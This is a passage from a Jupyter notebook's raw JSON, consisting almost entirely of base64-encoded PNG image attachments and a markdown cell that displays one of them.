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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "![image-4.png](attachment:image-4.png)" + ] + }, + { + "attachments": { + "image-3.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAJcAAACqCAYAAACge90KAAAgAElEQVR4AYS9B7QexZXv6/fezNy37h173Rm/8YzBY4ZsogNGSCcHHWVgSEJC4WRFDDbYBtsEmyQyiBwsECjnjDDG4IzHYw/gbKJBOuHLOYf/W7/d2vChi+/ttWp1f7t2qtr/rqququ7vI9FoVLlcTtlsVlyPj4/b70qlYrR0Oq1UKqVCoaBarWaJa+iZTMZ4nc45kUgYfzKZVLlcFno4sIGeWCxmNOjw5/N504MurqvVquU7PzLYgp88ZKDBD71YLBqNfPyCTuIa/nq9bnrxx8sCDX4SvJSdfHQhw+G85JdKpff44XEb+IsO8pFDDwlZbEAjn7LE43FLyHOQB93tcA0NOXjwh0Q53FfyqV+X4Tf1wRkZ6CRkDqfjF37DS1yww2/0kec2oKPDy4FedJG4pu5JjXTKDw3sgCFkKc9HHFzhcFihUMgqisK7ccBAoiL9wHkKDh3nnB8j/HY6heDAMQx6BcPnDqMLH9CHDeiNFRyJRCyPSuHgjH7o2KKQHMggTx52uIbG4X65jNPxDx3YR8Z1IUMFo4s85F0GHrdPmTjwGV1UMHooC8FChuQ2ODfWCcFFP/oIhtugTuCFztkPdHq9Ywe/3D6+UL5GOvq8TtCDPbfhuog7eY26sOEx8TpxXdggHV6/2EUP+kj4Y+DyysU4hfTK4hoBBLkmsCQKT0WSR2rkRwf8BMcdwHHXRT50CgfdC48+rql88igUOigIZ3gpoAMbn6HzG/v4hTy2SVwf7q/LoPuv6YLu/qKHAGMDn7DDNXR0UYHYII/yObgay0ie1xN0dKMHOr+97pGHRvldl8t5+bCNTewDALePTnRBR8brBF3wQCMPvQ5ueBpBRH1hh7pBF+U+PCbI4y+p0V9kXRfX2IPHwDU2NmZKcZIMlKMYQ55wkmCSUOx0nHQ6MlQQNPL5jS4Sv6FTOKd7BZGHbddFvttwXW6DSoIXGXS5fvidlzOF9HKgD35oyKIDGjrdrgfCK6qRv1EPdpCBH170UA6Sy5DHb/STjz/us9cjZ+QbEzSX8/Jxdl85+83tdHxDBhvUPXTsuh6vR+yQBx0auvjtdeb1S77rcRvQsIOc+8u12+aMHvynnPwGUwYuiBzctSCW1oKmDUY/4IFGHorhJeEI9MYm3O9Mggg/ZyocOge/QTZ5OOIHDqIHfRQe3RzIAnr3y/VwpuDoQicF9wMfobsugoK/nOn+oaPzcF3uM2X3PCredR3uL3oYa6CLw21QDi+j66E8lAv75OEv/ORTdmyjD3sug7/QKDs64Xc72CSPBBCcjg1o8BM3ZEjYxza6vOxun9/QSdiGjm3qF134S5360Vi/8CBDIlbwos/AhVESGRSMQuIYBXbjOIkQdCoFw/BjBH6UUSiCAp0zv8kjoQsZEnT0IIM8TkFHLzTs4DAV5nRkyEMXdGz4neX28dFtcO220etlRMbplBU/yYOOTc9DBhvoA1DkYZ9rLyO+Q8df6F